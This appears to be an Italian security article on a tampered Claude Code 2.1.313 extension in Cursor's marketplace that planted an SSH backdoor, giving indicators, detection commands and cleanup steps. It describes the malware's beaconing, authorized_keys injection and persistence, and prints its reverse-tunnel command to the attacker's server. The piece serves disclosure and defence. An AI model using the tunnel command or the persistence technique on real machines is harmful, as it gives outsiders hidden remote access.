Claude Code 2.1.313: quella volta che 66 righe hanno creato una backdoor SSH (e perché disinstallare non basta)

Il 29 ottobre 2026, per circa undici ore, il marketplace di estensioni di Cursor ha distribuito una versione manomessa di Claude Code. Versione 2.1.313. Un’estensione che milioni di sviluppatori considerano sicura, firmata Anthropic, con tutto il branding al posto giusto. Solo che dentro, prima ancora del codice legittimo, c’erano 66 righe di JavaScript che installavano una backdoor SSH persistente.

Bastava caricare l’estensione. Nessuna conversazione con Claude necessaria, nessun clic sospetto. L’editor parte, il modulo si carica, e quelle 66 righe girano prima ancora della funzione activate. Al massimo 5.000 utenti coinvolti, secondo Cursor, che li ha contattati direttamente.

Cosa è successo davvero (e cosa no)

Nelle prime ore è circolato di tutto. ‘Anthropic è stata hackerata’, ‘Open VSX compromesso’, ‘milioni di sviluppatori a rischio’. Niente di tutto questo regge alla verifica.

La versione malevola era nel marketplace di estensioni VS Code gestito da Cursor. Non su Open VSX, non su npm, non sul Visual Studio Marketplace di Microsoft. Socket — che monitora questi registri in tempo reale — ha verificato: nei feed append-only di Open VSX ci sono 3.392 eventi dal 27 ottobre, comprese versioni pubblicate e rimosse dopo 90 secondi. La 2.1.313 non compare. Stesso discorso per npm: il salto dalla 2.1.312 alla 2.1.314 non è nemmeno un indizio, visto che nel periodo mancano anche altre versioni intermedie.

Cursor ha confermato: la build malevola era nel loro marketplace, non è stata sviluppata da Anthropic, e non ci sono prove di compromissione della distribuzione ufficiale. Al 30 ottobre Anthropic non aveva rilasciato dichiarazioni pubbliche.

La finestra di esposizione: dalle 10:27 alle 21:35 ora italiana del 29 ottobre. Piattaforme coinvolte: macOS Apple Silicon (darwin-arm64) e Windows (win32-x64). Il server dell’attaccante — 134.209.82.225, un droplet DigitalOcean — è stato spento da Cursor insieme al provider di hosting. La versione pulita, la 2.1.314, è uscita poche ore dopo.

Anatomia di 66 righe

Il malware non scarica nulla, non sfrutta vulnerabilità, non usa tecniche esotiche. Usa gli strumenti standard del sistema e due chiavi SSH.

Prima fase: ricognizione silenziosa

Al caricamento raccoglie: hostname, username, sistema operativo, architettura, percorso della home, email Git configurata, IP pubblico (via ifconfig.me e api.ipify.org). E poi i nomi — non i valori — di massimo 40 variabili d’ambiente che contengono KEY, TOKEN, SECRET, PASS, AWS o GCP.

I nomi bastano. Ti dicono quali cloud usa la vittima, quali sistemi CI, che tipo di credenziali gestisce. E se l’accesso SSH riesce, l’operatore può ispezionare l’account direttamente. Dopo 1,5 secondi questi dati partono in chiaro, HTTP POST verso 134.209.82.225:8099/beacon. E anche verso 127.0.0.1:8099, per ragioni che nessuno ha capito: il malware non apre listener locali su quella porta.

Seconda fase: la chiave autorizzata

Se esiste una home, crea ~/.ssh con permessi 0700 e aggiunge una chiave Ed25519 in authorized_keys. Commento: svc-telemetry. Un nome che sa di account amministrativo, di servizio legittimo. Imposta i permessi a 0600, controlla se il marcatore è già presente per non duplicare. Tutto silenzioso.

Terza fase: accendere SSH (quando funziona)

Su macOS prova sudo -n systemsetup -setremotelogin on. Su Linux cerca di avviare sshd via systemctl. Su Windows tenta di installare OpenSSH Server con PowerShell, impostarlo su avvio automatico e avviarlo.

Qui arriva il primo bug. Su macOS, per un utente standard, systemsetup -getremotelogin stampa un messaggio di errore ma esce con codice 0. L’output non contiene ‘Off’, quindi il ramo di attivazione viene saltato e il comando sudo non parte. Risultato: se Remote Login non era già attivo, il tunnel si connette ma il traffico inoltrato trova la porta 22 chiusa.

Su Windows il comando PowerShell passa da /bin/sh, che non esiste. Su Linux un errore nel controllo del crontab può cancellare i job esistenti dell’utente.

Cursor sottolinea: senza privilegi di amministratore — il caso normale — l’attivazione SSH fallisce sulla maggior parte delle macchine. Ma la chiave resta. La persistenza resta. E i dati di ricognizione sono già partiti.

Quarta fase: il tunnel inverso

Il loader contiene una seconda chiave SSH, stavolta privata, codificata in base64. Commento: svc-telemetry-tun. La scrive in un file temporaneo .stk_<10 caratteri hex>, derivato da hostname e home.

Poi parte la connessione: ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225. Il server dell’attaccante alloca una porta dinamica che porta direttamente alla porta 22 della vittima. Niente verifica della chiave host, niente known_hosts, solo l’identità incorporata, riconnessione ogni 60 secondi. Preferisce autossh se disponibile, altrimenti ssh normale. Il processo viene staccato: sopravvive alla chiusura dell’IDE.

Quando l’operatore vuole entrare, apre una sessione SSH separata verso quella porta sul proprio server. Il traffico rientra nel tunnel e arriva alla porta 22 locale della vittima, dove si autentica con la chiave svc-telemetry. Shell interattiva, trasferimento file, zero codice JavaScript aggiuntivo. Nei log SSH questi accessi appaiono provenire da localhost.

Quinta fase: persistenza multipiattaforma

Su macOS: ~/Library/LaunchAgents/com.apple.sysmond.plist. RunAtLoad, KeepAlive, caricato con launchctl load -w. Il nome imita un componente Apple, ma non lo è. Lo script è ~/.config/.smt, la chiave del tunnel è ~/.config/.smtk.

Su Linux: stessi file in ~/.config, più una voce @reboot nel crontab.

Su Windows: .config\smt.cmd e .config\smtk, poi tenta un’attività pianificata SysMon come SYSTEM. Se fallisce, copia sysmon.cmd nella cartella Esecuzione automatica dell’utente.

Tutte le eccezioni vengono soppresse. Se un’operazione malevola fallisce, l’estensione legittima continua a caricarsi. L’utente non nota nulla.

Due chiavi, non confondetele

Phorion invita chi fa forensics a non mescolare i ruoli:

• Chiave pubblica svc-telemetry in authorized_keys: permette all’attaccante di entrare nella macchina della vittima.
• Chiave privata svc-telemetry-tun incorporata nel malware: permette alla macchina della vittima di connettersi in uscita al server tunnel.

Cercare solo il commento non basta: può essere cambiato. Meglio cercare l’impronta SHA256 della chiave pubblica: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.

Chi deve preoccuparsi

Se usate Cursor e avete installato o aggiornato Claude Code dal marketplace di Cursor il 29 ottobre 2026 tra le 10:27 e le 21:35 ora italiana, fate il controllo. Anche se usate altri editor, verificate di essere alla 2.1.314 o successiva.

Le versioni su Open VSX, Microsoft VS Code Marketplace e npm non risultano malevole, secondo l’aggiornamento di OpenSourceMalware e le verifiche di Socket.

Controllo rapido (30 secondi)

macOS, da Terminale:

grep -qs svc-telemetry ~/.ssh/authorized_keys && echo 'svc-telemetry key found' || echo 'No key found; machine not impacted'

Windows, da PowerShell:

$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { 'svc-telemetry key found' } else { 'No key found; machine not impacted' }

Se il comando stampa ‘svc-telemetry key found’, la macchina è compromessa.

Se la chiave c’è: disinstallare non basta

Disinstallare l’estensione o aggiornarla alla 2.1.314 non rimuove la persistenza. Il LaunchAgent, l’attività pianificata, la voce crontab restano attivi. Il tunnel si riconnette ogni 60 secondi.

Cosa fare:

1. Isolare la macchina. Preservare le prove prima di cancellare qualcosa.
2. Terminare i processi /bin/sh del ciclo di riconnessione e i processi ssh o autossh verso 134.209.82.225.
3. Rimuovere la persistenza: scaricare e cancellare il LaunchAgent com.apple.sysmond.plist (macOS), la voce @reboot (Linux), l’attività SysMon e lo script sysmon.cmd (Windows). Cancellare ~/.config/.smt e ~/.config/.smtk.
4. Rimuovere la chiave svc-telemetry da authorized_keys. Cancellare i file temporanei .stk_*. Verificare che Remote Login o SSH non siano stati attivati senza volerlo.
5. Cursor fornisce script di bonifica: remediate-macos.sh (da eseguire come utente coinvolto, non come root) e remediate-windows.ps1 (da eseguire in PowerShell come amministratore). Terminano con errore se resta qualcosa.
6. Ruotare credenziali e sessioni accessibili dall’account, da una macchina fidata. Priorità per quelle che corrispondono al filtro KEY, TOKEN, SECRET, PASS, AWS, GCP.
7. Controllare nei log SSH eventuali accessi riusciti provenienti da localhost con la chiave svc-telemetry. Indicherebbero che un operatore è entrato.
8. Valutare la ricostruzione dell’host. OpenSourceMalware la ritiene più sicura che fidarsi della rimozione dei soli artefatti noti.

Cosa resta aperto

Al 30 ottobre 2026 nessuno sa come la build sia entrata nel marketplace di Cursor. Cursor non ha spiegato il vettore d’ingresso. Nessuno ha indicato un autore o un gruppo. Non è noto se qualche operatore abbia usato il tunnel su macchine in cui SSH era attivo. Cursor indica un tetto di 5.000 utenti, non un conteggio delle macchine compromesse.

Anthropic, al 30 ottobre, non aveva rilasciato dichiarazioni pubbliche: né sul sito, né sulla pagina di stato, né negli advisory GitHub di Claude Code.

Perché conta: le estensioni come vettore ad alto privilegio

Il malware in sé è ordinario. Tunnel SSH, persistenza, niente di nuovo. Ciò che rende l’incidente rilevante è il canale.

Un’estensione di un agente AI gira con tutti i permessi dell’IDE e dell’utente. Appena il modulo viene caricato ha accesso a file locali, codice sorgente, strumenti di sviluppo. Nel caso di uno sviluppatore questo significa chiavi SSH, credenziali cloud, repository. Il pacchetto usava l’identità di un editore noto e manteneva l’interfaccia normale: nulla segnalava un problema.

E la build non veniva dall’editore né dai registri principali, ma da un marketplace gestito da un produttore di editor per i propri utenti. Una fonte che molti team di sicurezza non hanno mai valutato.

Rescana lo dice chiaramente: le estensioni degli agenti AI vanno governate come software ad alto privilegio. Decidere da quali marketplace si installano. Fissarne le versioni o usare liste di estensioni consentite. Monitorare le modifiche a ~/.ssh e le connessioni SSH in uscita anomale. Dove possibile, separare l’identità dell’agente da quella dello sviluppatore.

Socket ricorda l’attacco alla supply chain di LiteLLM di ottobre 2026 e la compromissione dei pacchetti npm di Axios del marzo 2026. Il pattern è chiaro: gli strumenti che usiamo per sviluppare più velocemente — agenti AI, assistenti di coding, estensioni con accesso ai repository — sono anche i vettori più efficaci per un attaccante.

Una lezione di metodo

In poche ore la notizia è passata da ‘Open VSX compromesso’ ad ‘Anthropic hackerata’ fino alla versione confermata da Cursor. Socket ha dimostrato che i registri append-only permettono di verificare se una versione è mai stata pubblicata, prima di rilanciare un allarme.

Le prime segnalazioni indicavano Open VSX. Diversi siti hanno ripreso quella versione. Poi i registri hanno parlato: nessuna traccia della 2.1.313 su Open VSX, npm o VS Code Marketplace. Cursor ha confermato che la build malevola era nel proprio marketplace. OpenSourceMalware ha aggiornato l’articolo indicando Cursor come origine.

Conviene verificare sui registri prima di rilanciare. Soprattutto nelle prime ore di un incidente, quando le attribuzioni cambiano.